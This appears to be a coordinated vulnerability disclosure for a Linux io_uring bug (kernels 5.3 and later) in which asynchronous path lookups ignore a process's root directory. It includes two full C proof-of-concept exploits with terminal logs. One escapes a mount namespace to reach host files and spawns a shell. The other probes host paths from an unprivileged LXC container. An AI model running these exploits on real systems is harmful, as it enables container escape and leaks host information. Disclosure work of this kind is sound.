Linux >=5.3: io_uring: insecure handling of root directory for path lookups

When I saw
<https://lore.kernel.org/io-uring/[email protected]/T/>
today, I realized that this is not just a small correctness issue, but also has
some security implications on existing releases.

On 5.5, the incorrect handling of OPENAT means that not only the cwd, but also
the root directory is incorrect; here's a simple demonstration of how a process
inside a mount namespace can use that to gain access to the filesystem outside
the namespace:

===============================================================================
[email protected]:~/uring# cat punted_open.c
#define _GNU_SOURCE
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>
#include <fcntl.h>
#include <string.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include \"linux/io_uring.h\"

#ifndef SYS_io_uring_enter
#define SYS_io_uring_enter 426
#endif
#ifndef SYS_io_uring_setup
#define SYS_io_uring_setup 425
#endif

#define SYSCHK(x) ({          \\
  typeof(x) __res = (x);      \\
  if (__res == (typeof(x))-1) \\
    err(1, \"SYSCHK(\" #x \")\"); \\
  __res;                      \\
})

int main(void) {
  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
  struct io_uring_sqe *sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));

  // execute openat via uring
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_OPENAT,
    .flags = IOSQE_ASYNC,
    .fd = open(\"/\", O_RDONLY),
    .addr = (unsigned long)\"/\",
    .open_flags = O_PATH | O_DIRECTORY
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  (*(int*)(sq_ring + params.sq_off.tail))++;
  int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
  printf(\"submitted %d, getevents done\
\", submitted);
  int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
  printf(\"cq_tail = %d\
\", cq_tail);
  if (cq_tail != 1) errx(1, \"expected cq_tail==1\");
  struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
  if (cqe->res < 0) {
    printf(\"result: %d (%s)\
\", cqe->res, strerror(-cqe->res));
  } else {
    printf(\"result: %d\
\", cqe->res);
    printf(\"launching shell\
\");
    system(\"bash\");
    printf(\"exiting\
\");
  }
}
[email protected]:~/uring# gcc -o punted_open punted_open.c
[email protected]:~/uring# touch /tmp/real
[email protected]:~/uring# unshare -m
[email protected]:~/uring# mount -t tmpfs none /tmp
[email protected]:~/uring# ls -l /tmp/real
ls: cannot access '/tmp/real': No such file or directory
[email protected]:~/uring# ./punted_open 
submitted 1, getevents done
cq_tail = 1
result: 5
launching shell
[email protected]:~/uring# ls -l /tmp/real
ls: cannot access '/tmp/real': No such file or directory
[email protected]:~/uring# ls -l /proc/self/fd/5/tmp/real
-rw-r--r-- 1 root root 0 Feb  7 20:00 /proc/self/fd/5/tmp/real
[email protected]:~/uring# 
===============================================================================


But this doesn't just affect openat/openat2/statx, but also sendmsg() for
datagram unix domain sockets, which already works with Linux 5.3. I tested this
in a fully-updated (as of 2020-02-07) Ubuntu 19.10 VM, running distro kernel
5.3.0-29-generic. Note that this distro kernel still hasn't applied the fix for
the previous uring security bug, despite it having been over two months since
the fix landed in stable releases; that is going to affect the results from
testing this PoC.

Compile the PoC:

===============================================================================
[email protected]:~/uring$ cat uring_sendmsg_path.c
#define _GNU_SOURCE
#include <pthread.h>
#include <unistd.h>
#include <stdio.h>
#include <err.h>
#include <sys/mman.h>
#include <sys/syscall.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/ioctl.h>
#include <linux/rtnetlink.h>
#include <linux/if_addr.h>
#include <linux/io_uring.h>
#include <linux/userfaultfd.h>

#define SYSCHK(x) ({          \\
  typeof(x) __res = (x);      \\
  if (__res == (typeof(x))-1) \\
    err(1, \"SYSCHK(\" #x \")\"); \\
  __res;                      \\
})

static int uffd = -1;
static struct iovec *iov;
static struct iovec real_iov;
static struct io_uring_sqe *sqes;

static void *uffd_thread(void *dummy) {
  struct uffd_msg msg;
  int res = SYSCHK(read(uffd, &msg, sizeof(msg)));
  if (res != sizeof(msg)) errx(1, \"uffd read\");
  printf(\"got userfaultfd message\
\");

  sqes[0].opcode = IORING_OP_SENDMSG;

  union {
    struct iovec iov;
    char pad[0x1000];
  } vec = {
    .iov = real_iov
  };
  struct uffdio_copy copy = {
    .dst = (unsigned long)iov,
    .src = (unsigned long)&vec,
    .len = 0x1000
  };
  SYSCHK(ioctl(uffd, UFFDIO_COPY, &copy));
  return NULL;
}

int main(int argc, char **argv) {
  if (argc != 2) errx(1, \"invocation: %s <path>\", argv[0]);

  // initialize uring
  struct io_uring_params params = { };
  int uring_fd = SYSCHK(syscall(SYS_io_uring_setup, /*entries=*/10, &params));
  unsigned char *sq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQ_RING));
  unsigned char *cq_ring = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_CQ_RING));
  sqes = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_SHARED, uring_fd, IORING_OFF_SQES));

  // prepare userfaultfd-trapped IO vector page
  iov = SYSCHK(mmap(NULL, 0x1000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0));
  uffd = SYSCHK(syscall(SYS_userfaultfd, 0));
  struct uffdio_api api = { .api = UFFD_API, .features = 0 };
  SYSCHK(ioctl(uffd, UFFDIO_API, &api));
  struct uffdio_register reg = {
    .mode = UFFDIO_REGISTER_MODE_MISSING,
    .range = { .start = (unsigned long)iov, .len = 0x1000 }
  };
  SYSCHK(ioctl(uffd, UFFDIO_REGISTER, &reg));
  pthread_t thread;
  if (pthread_create(&thread, NULL, uffd_thread, NULL))
    errx(1, \"pthread_create\");

  // construct message
  int sock = SYSCHK(socket(AF_UNIX, SOCK_DGRAM, 0));
  struct sockaddr_un addr = { .sun_family = AF_UNIX };
  if (strlen(argv[1])+1 > sizeof(addr.sun_path))
    errx(1, \"argv[1] too long\");
  strcpy(addr.sun_path, argv[1]);
  char msgbuf[1] = \"X\";
  real_iov.iov_base = &msgbuf;
  real_iov.iov_len = sizeof(msgbuf);
  struct msghdr msg = {
    .msg_name = &addr,
    .msg_namelen = sizeof(addr),
    .msg_iov = iov,
    .msg_iovlen = 1,
  };

  // send netlink message via uring
  sqes[0] = (struct io_uring_sqe) {
    .opcode = IORING_OP_RECVMSG,
    .fd = sock,
    .addr = (unsigned long)&msg
  };
  ((int*)(sq_ring + params.sq_off.array))[0] = 0;
  (*(int*)(sq_ring + params.sq_off.tail))++;
  int submitted = SYSCHK(syscall(SYS_io_uring_enter, uring_fd, /*to_submit=*/1, /*min_complete=*/1, /*flags=*/IORING_ENTER_GETEVENTS, /*sig=*/NULL, /*sigsz=*/0));
  printf(\"submitted %d, getevents done\
\", submitted);
  int cq_tail = *(int*)(cq_ring + params.cq_off.tail);
  printf(\"cq_tail = %d\
\", cq_tail);
  if (cq_tail != 1) errx(1, \"expected cq_tail==1\");
  struct io_uring_cqe *cqe = (void*)(cq_ring + params.cq_off.cqes);
  if (cqe->res < 0) {
    printf(\"result: %d (%s)\
\", cqe->res, strerror(-cqe->res));
  } else {
    printf(\"result: %d\
\", cqe->res);
  }
}
[email protected]:~/uring$ gcc -Wall -pthread -o uring_sendmsg_path uring_sendmsg_path.c
[email protected]:~/uring$ 
===============================================================================


On the host, create a file at /root/x:

===============================================================================
[email protected]:~# ls -l /root
total 4
drwxr-xr-x 2 root root 4096 Feb  7 22:29 blah
-rw-r--r-- 1 root root    0 Feb  7 22:26 x
[email protected]:~# 
===============================================================================


Create an unprivileged LXC container (which does not contain /root/x), and copy
the PoC into it:

===============================================================================
[email protected]:~# ls -l /root
total 20
-rwxr-xr-x 1 root root 17440 Feb  7 21:26 uring_sendmsg_path
[email protected]:~# 
===============================================================================


Then, inside the container, you can determine whether a given path exists on the
host using a punted SENDMSG that uses that path as the destination - ENOENT
means it doesn't exist, ECONNREFUSED means it exists:

===============================================================================
[email protected]:~# ./uring_sendmsg_path /root/a
got userfaultfd message
submitted 1, getevents done
cq_tail = 1
result: -2 (No such file or directory)
[email protected]:~# ./uring_sendmsg_path /root/x
got userfaultfd message
submitted 1, getevents done
cq_tail = 1
result: -111 (Connection refused)
[email protected]:~# 
===============================================================================


However, I think the patch proposed at
<https://lore.kernel.org/io-uring/[email protected]/>
also isn't safe - when you take a new reference to an fs_struct, you have to
check the fs_struct's ->in_exec flag, like in the fork code; otherwise, the
LSM_UNSAFE_SHARE mechanism for protecting setuid executable execution won't work
properly.

(I also think that API-wise, for the AT_FDCWD case, grabbing the task's
fs_struct is a bit weird; it might be better to grab a reference to the current
working directory directly instead if this is really something that has to be
supported?
Otherwise, if a task posts one OPENAT op, then does chdir() and posts another
OPENAT op, it will be non-deterministic which working directory is used by the
first OPENAT op - that seems quite error-prone?)



This bug is subject to a 90 day disclosure deadline. After 90 days elapse,
the bug report will become visible to the public. The scheduled disclosure
date is 2020-05-07.




Found by: [email protected]

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